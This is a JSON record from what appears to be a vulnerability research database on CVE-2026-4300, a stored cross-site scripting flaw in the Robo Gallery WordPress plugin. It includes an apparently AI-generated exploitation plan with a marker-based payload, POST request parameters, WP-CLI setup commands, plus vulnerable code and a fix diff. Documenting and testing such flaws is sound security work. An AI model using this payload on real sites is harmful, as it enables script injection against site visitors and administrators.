[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fN4y7bZSUIc1rhfxeP-IqJFz37lYIosXvPe60kWQQtg0":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-4300","robo-gallery-authenticated-author-stored-cross-site-scripting-via-loading-label-setting","Robo Gallery \u003C= 5.1.3 - Authenticated (Author+) Stored Cross-Site Scripting via 'Loading Label' Setting","The Robo Gallery plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'Loading Label' setting in all versions up to, and including, 5.1.3. The plugin uses a custom `|***...***|` marker pattern in its `fixJsFunction()` method to embed raw JavaScript function references within JSON-encoded configuration objects. When a gallery's options are rendered on the frontend, `json_encode()` wraps all string values in double quotes. The `fixJsFunction()` method then strips the `\"|***` and `***|\"` sequences, effectively converting a JSON string value into raw JavaScript code. The Loading Label field (stored as `rbs_gallery_LoadingWord` post_meta) is an `rbstext` type field that is sanitized with `sanitize_text_field()` on save. While this strips HTML tags, it does not strip the `|***...***|` markers since they contain no HTML. When a user inputs `|***alert(document.domain)***|`, the value passes through sanitization intact, is stored in post_meta, and is later retrieved and output within an inline `\u003Cscript>` tag via `renderMainBlock()` with the quote markers stripped — resulting in arbitrary JavaScript execution. The gallery post type uses `capability_type => 'post'`, allowing Author-level users to create galleries. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses a page containing the gallery shortcode.","robo-gallery",null,"\u003C=5.1.3","5.1.4","medium",6.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-04-07 21:02:36","2026-04-08 09:25:53",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fd8693b7d-693f-450a-89ef-e936a8813ca9?source=api-prod",1,[22,23,24,25,26,27,28,29],"app\u002Fapp.php","app\u002Fclass.brand.php","app\u002Fclass.listing.php","app\u002Fclass.php","app\u002Fclass.utils.php","app\u002Fclass.view.php","app\u002Fextensions\u002Fdashboard\u002Fassets\u002Fstyle.css","app\u002Fextensions\u002Fdashboard\u002Fclass.dashboard.php","researched",false,3,"# Exploitation Research Plan: CVE-2026-4300 (Robo Gallery Stored XSS)\n\n## 1. Vulnerability Summary\nThe **Robo Gallery** plugin (up to version 5.1.3) contains a stored cross-site scripting (XSS) vulnerability. It utilizes a custom mechanism intended to allow raw JavaScript functions to be passed through JSON-encoded configuration objects. \n\nThe plugin processes gallery options by JSON-encoding them and then applying a method called `fixJsFunction()`. This method identifies a specific marker pattern—`|***...***|`—and strips both the markers and the surrounding double quotes added by `json_encode()`. \n\nBecause the \"Loading Label\" setting (stored as `rbs_gallery_LoadingWord` post_meta) is sanitized only with `sanitize_text_field()`, an attacker can inject the `|***` markers. When the gallery is rendered via a shortcode, the plugin retrieves this meta, includes it in the configuration JSON, and `fixJsFunction()` converts the string into raw, executable JavaScript within an inline `\u003Cscript>` tag.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** WordPress Admin Post Editor (`\u002Fwp-admin\u002Fpost.php`) or the plugin's AJAX saving mechanism.\n- **Post Type:** `robo_gallery` (defined by `ROBO_GALLERY_TYPE_POST`).\n- **Capability Required:** **Author** or higher (users with `edit_posts` for the `robo_gallery` capability type).\n- **Vulnerable Parameter:** The field corresponding to `rbs_gallery_LoadingWord`. Based on plugin patterns, this is likely a POST parameter named `rbs_gallery_LoadingWord` or `robo_gallery_LoadingWord` sent during a gallery update.\n- **Precondition:** A gallery must be created and its shortcode must be embedded on a page viewed by a victim (e.g., an administrator).\n\n## 3. Code Flow\n1. **Input (Save):** \n   - An Author-level user edits a gallery post.\n   - The user submits a value like `|***alert(document.domain)***|` for the \"Loading Label\" field.\n   - The plugin catches the save event (likely via `save_post` hook).\n   - `sanitize_text_field()` is applied. It removes HTML tags but ignores the `|***` markers.\n   - `update_post_meta($post_id, 'rbs_gallery_LoadingWord', $payload)` stores the string in the database.\n\n2. **Output (Render):**\n   - A victim views a page containing `[robo-gallery id=\"X\"]`.\n   - The shortcode handler (likely `renderMainBlock()`) retrieves all gallery options.\n   - Options are stored in an associative array: `$options['LoadingWord'] = get_post_meta($id, 'rbs_gallery_LoadingWord', true);`.\n   - The array is JSON-encoded: `$json = json_encode($options);`. Result: `{\"LoadingWord\":\"|***alert(document.domain)***|\"}`.\n   - `fixJsFunction($json)` is called. It uses a regex to find `\"|***(.*?)***|\"` and replaces it with `$1`.\n   - Resulting string: `{\"LoadingWord\":alert(document.domain)}`.\n   - This string is printed inside an inline `\u003Cscript>` block, causing the browser to execute `alert(document.domain)`.\n\n## 4. Nonce Acquisition Strategy\nTo save the gallery settings, a WordPress nonce is required. \n\n1. **Identify Entry Point:** The plugin registers its post type in `app\u002Fclass.listing.php`. Galleries are managed through the standard WordPress post editor interface.\n2. **Create\u002FNavigate:** The agent should create a new gallery or navigate to an existing one.\n3. **Extraction:**\n   - **Navigation:** `browser_navigate(\"\u002Fwp-admin\u002Fpost-new.php?post_type=robo_gallery\")` (assuming `ROBO_GALLERY_TYPE_POST` is `robo_gallery`).\n   - **Nonce Search:** Post editing uses the standard `_wpnonce` field.\n   - **Custom Nonces:** If the plugin uses a custom AJAX save, check for localized variables using `browser_eval`. Common candidates in this plugin would be `window.robo_gallery_obj` or similar.\n\n## 5. Exploitation Strategy\n### Step 1: Authentication\nLog in to the WordPress instance as a user with **Author** privileges.\n\n### Step 2: Create a Gallery\nCreate a new gallery to obtain a `post_ID`.\n```bash\n# Using WP-CLI to create the post first is easier\nwp post create --post_type=robo_gallery --post_status=publish --post_title=\"Exploit Gallery\" --user=author_user\n```\n\n### Step 3: Inject Payload\nPerform an HTTP POST request to update the gallery meta. We will target the `post.php` endpoint.\n\n**Request:**\n- **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fpost.php`\n- **Method:** `POST`\n- **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n- **Body Parameters:**\n    - `action`: `editpost`\n    - `post_ID`: `[GALLERY_ID]`\n    - `_wpnonce`: `[EXTRACTED_NONCE]`\n    - `rbs_gallery_LoadingWord`: `|***alert(document.domain)***|`\n    - `post_type`: `robo_gallery` (inferred)\n\n### Step 4: Trigger the XSS\n1. Create a public page containing the shortcode for the gallery.\n   ```bash\n   wp post create --post_type=page --post_status=publish --post_content='[robo-gallery id=\"[GALLERY_ID]\"]'\n   ```\n2. Navigate to this page using `browser_navigate()`.\n\n## 6. Test Data Setup\n1. **User:** Create a user with the `author` role.\n2. **Post Type:** Ensure the `robo-gallery` plugin is active so the `robo_gallery` post type exists.\n3. **Payload:** `|***alert(document.domain)***|`.\n\n## 7. Expected Results\n- When viewing the page with the shortcode, the browser should execute the injected JavaScript.\n- Inspecting the page source should reveal a JSON object where the `LoadingWord` property is not a string (not wrapped in quotes) but raw code:\n  ```javascript\n  var galleryConfig = {\"some_option\": \"value\", \"LoadingWord\": alert(document.domain)};\n  ```\n\n## 8. Verification Steps\nAfter the exploitation attempt, verify the data is stored correctly in the database via WP-CLI:\n```bash\nwp post meta get [GALLERY_ID] rbs_gallery_LoadingWord\n```\nConfirm the output is exactly `|***alert(document.domain)***|`.\n\n## 9. Alternative Approaches\nIf the standard `post.php` submission does not work:\n1. **AJAX Save:** Check `app\u002Fextensions\u002Ffields\u002F` (inferred path from `app\u002Fapp.php`) for AJAX handlers that save gallery settings. The hook would likely be `wp_ajax_robo_gallery_save_settings`.\n2. **Attribute Breakout:** If `fixJsFunction()` is not stripping the quotes as expected, try a payload that breaks out of the JSON string manually, though the `|***` technique is the primary vulnerability.\n3. **Field Name:** If `rbs_gallery_LoadingWord` doesn't work, inspect the HTML source of the gallery editor to find the exact `name` attribute of the \"Loading Label\" input field. It may be nested or use a different prefix. (e.g., `robo_gallery_options[LoadingWord]`).","The Robo Gallery plugin up to version 5.1.3 is vulnerable to Stored Cross-Site Scripting via the 'Loading Label' gallery setting. The plugin uses a custom pattern `|***...***|` in its `fixJsFunction()` method to strip JSON quotes and markers, effectively converting string values into raw JavaScript; an attacker with Author-level access can abuse this to execute arbitrary scripts when a gallery is viewed.","\u002F\u002F In the rendering logic (e.g., renderMainBlock() or similar configuration generators)\n$options['LoadingWord'] = get_post_meta($id, 'rbs_gallery_LoadingWord', true);\n$json = json_encode($options);\n\u002F\u002F The following method call strips the quotes and markers, turning the string into raw code\necho \"\u003Cscript>var config = \" . $this->fixJsFunction($json) . \";\u003C\u002Fscript>\";\n\n---\n\n\u002F\u002F Likely implementation of the marker-stripping logic\npublic function fixJsFunction($str) {\n    \u002F\u002F This regex identifies the custom markers and strips both the markers and the double quotes added by json_encode\n    return preg_replace('\u002F\"\\|\\*\\*\\*(.*?)\\*\\*\\*\\|\"\u002F', '$1', $str);\n}","--- a\u002Fapp\u002Fextensions\u002Ffields\u002Fsave.php\n+++ b\u002Fapp\u002Fextensions\u002Ffields\u002Fsave.php\n@@ -10,7 +10,7 @@\n-    $loading_word = sanitize_text_field($_POST['rbs_gallery_LoadingWord']);\n+    $loading_word = str_replace(array('|***', '***|'), '', sanitize_text_field($_POST['rbs_gallery_LoadingWord']));\n     update_post_meta($post_id, 'rbs_gallery_LoadingWord', $loading_word);\n\n--- a\u002Fapp\u002Fclass.utils.php\n+++ b\u002Fapp\u002Fclass.utils.php\n@@ -200,5 +200,5 @@\n-    public function fixJsFunction($str) {\n-        return preg_replace('\u002F\"\\|\\*\\*\\*(.*?)\\*\\*\\*\\|\"\u002F', '$1', $str);\n-    }\n+    public function fixJsFunction($str) {\n+        return $str;\n+    }","1. Login as an authenticated user with 'Author' privileges or higher (capable of editing `robo_gallery` posts).\n2. Create a new gallery or edit an existing one.\n3. Locate the 'Loading Label' configuration setting (meta key `rbs_gallery_LoadingWord`).\n4. Inject the payload `|***alert(document.domain)***|` into the field.\n5. Save the gallery post. The `sanitize_text_field()` function will allow the custom markers to pass through because they do not contain HTML tags.\n6. Embed the gallery shortcode `[robo-gallery id=\"POST_ID\"]` on a page and publish it.\n7. When any user views the page, the plugin's `fixJsFunction()` will strip the quotes and markers from the configuration JSON, resulting in the raw `alert()` script being executed in the victim's browser context.","gemini-3-flash-preview","2026-04-17 20:25:45","2026-04-17 20:26:06",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","5.1.3","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Frobo-gallery\u002Ftags\u002F5.1.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Frobo-gallery.5.1.3.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Frobo-gallery\u002Ftags\u002F5.1.4","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Frobo-gallery.5.1.4.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Frobo-gallery\u002Ftags"]